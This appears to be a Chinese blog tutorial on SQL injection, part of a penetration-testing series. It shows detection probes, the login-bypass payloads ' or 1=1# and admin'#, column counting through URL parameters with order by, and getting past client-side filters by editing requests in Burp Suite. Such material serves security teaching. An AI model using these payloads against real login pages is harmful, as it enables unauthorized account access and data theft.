web安全/渗透测试(十一):SQL注入

一、SQL语句

增删改查

二、SQL注入的危害

1、提供对数据库敏感数据的访问

2、可以读取www文件夹外的本地文件

3、可以用admin登录并进一步对系统进行漏洞发掘

4、可以用来上传文件

三、发现SQL注入

1、使用‘and’,'order by'或“ ' ”在文本框和url注入

其中url形式为:http://baidu.com/page.php?something=something

举例:

某网站的用户账号abc 密码123456

(1)在登录页面输入账号密码,其中密码输入123456' and 1=1#

执行的命令是:

select * from accounts where username = 'abc' and password = '123456' and 1=1#'

如果能登录成功,说明该文本框是可以注入sql语句的。

(2)或:

密码输入123456' and 1=2#

执行的命令是:

select * from accounts where username = 'abc' and password = '123456' and 1=2#'

如果报错,说明该文本框是可以注入sql语句的。因为是正确的账号和正确的密码,这里有个问题,如果是不允许注入sql的话,按理也是登录失败的才对呀。

四、绕过登录限制

1、登录页面,知道账号,不知道密码情况下,

密码输入1111' or 1=1#

执行的命令是:

select * from accounts where username = 'abc' and password = '1111' or 1=1#'

2、登录页面,知道账号,不知道密码情况下,

账号输入admin'#

执行的命令是:

select * from accounts where username = 'admin'# and password = '1111'

五、绕过更高级的登录限制

1、安全等级提高后,依然用前面的方法注入sql,会提示非法输入。

此时判断是在客户端被过滤还是在服务器被过滤的。

如果是客户端过滤的话,可以用Burpsuite绕过。

2、如何判断是在客户端被过滤还是在服务器被过滤?

打开burpsuite后,在登录页面,输入账号和非法密码,如果客户端仍提示非法输入,而Burpsuite未拦截到任何请求,说明是客户端过滤。

3、用Burpsuite绕过客户端过滤

(1)登录页面输入合法账号和密码,用burpsuite拦截

(2)burpsuite拦截后在proxy修改请求,再forward(发送请求)

六、在URL中注入SQL

在URL中注入,是get方式;在文本框注入,是post方式

(1)

index.php?page=user-info.php?username=lanzexi&password=123456

在username=lanzexi后面注入' order by 1#,其中order by 1表示根据表的第一列排序。

index.php?page=user-info.php?username=lanzexi' order by 1%23&password=123456

Http编码器中#对应为%23,空格对应%20

(2)

注入'order by 10000#,报错,通过order by 找出表的列数。

information_schema是默认的数据库

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章